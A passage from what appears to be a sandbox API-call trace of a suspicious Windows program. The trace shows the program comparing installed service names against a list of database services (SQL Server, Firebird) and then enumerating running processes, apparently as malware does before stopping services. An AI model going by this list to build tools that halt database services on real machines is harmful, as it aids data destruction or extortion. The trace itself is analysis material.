(lpString1="mssqlserver", lpString2="nsi") returned -1 [0108.164] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0108.164] lstrlenW (lpString="PcaSvc") returned 6 [0108.164] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0108.164] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0108.164] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0108.164] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0108.164] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0108.164] lstrlenW (lpString="PlugPlay") returned 8 [0108.164] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0108.164] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0108.164] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0108.164] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0108.165] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0108.165] lstrlenW (lpString="Power") returned 5 [0108.165] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0108.165] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0108.165] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0108.165] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0108.165] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0108.165] lstrlenW (lpString="ProfSvc") returned 7 [0108.165] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0108.165] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0108.165] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0108.165] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0108.165] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0108.165] lstrlenW (lpString="RpcEptMapper") returned 12 [0108.165] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0108.165] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0108.165] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0108.165] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0108.165] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0108.165] lstrlenW (lpString="RpcSs") returned 5 [0108.165] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0108.165] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0108.165] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0108.165] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0108.165] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0108.165] lstrlenW (lpString="SamSs") returned 5 [0108.165] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0108.165] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0108.165] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0108.165] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0108.165] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0108.165] lstrlenW (lpString="Schedule") returned 8 [0108.165] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0108.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0108.166] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0108.166] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0108.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0108.166] lstrlenW (lpString="SecurityHealthService") returned 21 [0108.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0108.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0108.166] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0108.166] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0108.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0108.166] lstrlenW (lpString="SENS") returned 4 [0108.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0108.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0108.166] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0108.166] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0108.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0108.166] lstrlenW (lpString="ShellHWDetection") returned 16 [0108.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0108.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0108.166] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0108.166] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0108.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0108.166] lstrlenW (lpString="Spooler") returned 7 [0108.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0108.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0108.166] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0108.166] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0108.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0108.166] lstrlenW (lpString="SSDPSRV") returned 7 [0108.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0108.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0108.166] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0108.166] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0108.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0108.166] lstrlenW (lpString="StateRepository") returned 15 [0108.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0108.167] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0108.167] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0108.167] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0108.167] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0108.167] lstrlenW (lpString="SysMain") returned 7 [0108.167] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0108.167] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0108.167] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0108.167] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0108.167] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60f958 | out: hHeap=0x5b0000) returned 1 [0108.167] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0108.172] Process32FirstW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0108.173] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0108.173] lstrlenW (lpString="System") returned 6 [0108.173] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0108.174] lstrlenW (lpString="smss.exe") returned 8 [0108.174] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0108.175] lstrlenW (lpString="csrss.exe") returned 9 [0108.175] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0108.175] lstrlenW (lpString="wininit.exe") returned 11 [0108.175] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0108.182] lstrlenW (lpString="csrss.exe") returned 9 [0108.182] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0108.183] lstrlenW (lpString="winlogon.exe") returned 12 [0108.183] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0108.184] lstrlenW (lpString="services.exe") returned 12 [0108.184] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0108.184] lstrlenW (lpString="lsass.exe") returned 9 [0108.184] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.185] lstrlenW (lpString="svchost.exe") returned 11 [0108.185] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0108.186] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0108.186] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0108.187] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0108.187] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.188] lstrlenW (lpString="svchost.exe") returned 11 [0108.188] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0108.189] lstrlenW (lpString="dwm.exe") returned 7 [0108.189] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x55, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.189] lstrlenW (lpString="svchost.exe") returned 11 [0108.189] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.190] lstrlenW (lpString="svchost.exe") returned 11 [0108.190] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.191] lstrlenW (lpString="svchost.exe") returned 11 [0108.191] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.191] lstrlenW (lpString="svchost.exe") returned 11 [0108.191] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.192] lstrlenW (lpString="svchost.exe") returned 11 [0108.192] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.193] lstrlenW (lpString="svchost.exe") returned 11 [0108.193] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.193] lstrlenW (lpString="svchost.exe") returned 11 [0108.193] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.194] lstrlenW (lpString="svchost.exe") returned 11 [0108.194] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.195] lstrlenW (lpString="svchost.exe") returned 11 [0108.195] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0108.195] lstrlenW (lpString="spoolsv.exe") returned 11 [0108.195] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.196] lstrlenW (lpString="svchost.exe") returned 11 [0108.196] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.196] lstrlenW (lpString="svchost.exe") returned 11 [0108.197] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0108.197] lstrlenW (lpString="audiodg.exe") returned 11 [0108.197] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0108.198] lstrlenW (lpString="sihost.exe") returned 10 [0108.198] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.199] lstrlenW (lpString="svchost.exe") returned 11 [0108.199] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0108.200] lstrlenW (lpString="taskhostw.exe") returned 13 [0108.200] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0108.201] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0108.201] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0108.202] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0108.202] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0108.202] lstrlenW (lpString="explorer.exe") returned 12 [0108.203] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0108.203] lstrlenW (lpString="Memory Compression") returned 18 [0108.203] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0108.204] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0108.204] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0108.205] lstrlenW (lpString="SearchUI.exe") returned 12 [0108.205] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0108.206] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0108.206] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0108.207] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0108.207] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0108.208] lstrlenW (lpString="taskhostw.exe") returned 13 [0108.208] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0108.209] lstrlenW (lpString="UsoClient.exe") returned 13 [0108.209] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0108.210] lstrlenW (lpString="taskhostw.exe") returned 13 [0108.210] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0108.211] lstrlenW (lpString="msoia.exe") returned 9 [0108.211] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0108.212] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0108.221] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0108.222] lstrlenW (lpString="msoia.exe") returned 9 [0108.222] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0108.222] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0108.225] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0108.226] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0108.226] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver fireplace subdivision.exe")) returned 1 [0108.227] lstrlenW (lpString="screensaver fireplace subdivision.exe") returned 37 [0108.227] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="arc obviously.exe")) returned 1 [0108.227] lstrlenW (lpString="arc obviously.exe") returned 17 [0108.227] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="scholars.exe")) returned 1 [0108.228] lstrlenW (lpString="scholars.exe") returned 12 [0108.228] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="isolatedconcerned.exe")) returned 1 [0108.229] lstrlenW (lpString="isolatedconcerned.exe") returned 21 [0108.229] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="organizing.exe")) returned 1 [0108.229] lstrlenW (lpString="organizing.exe") returned 14 [0108.229] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, 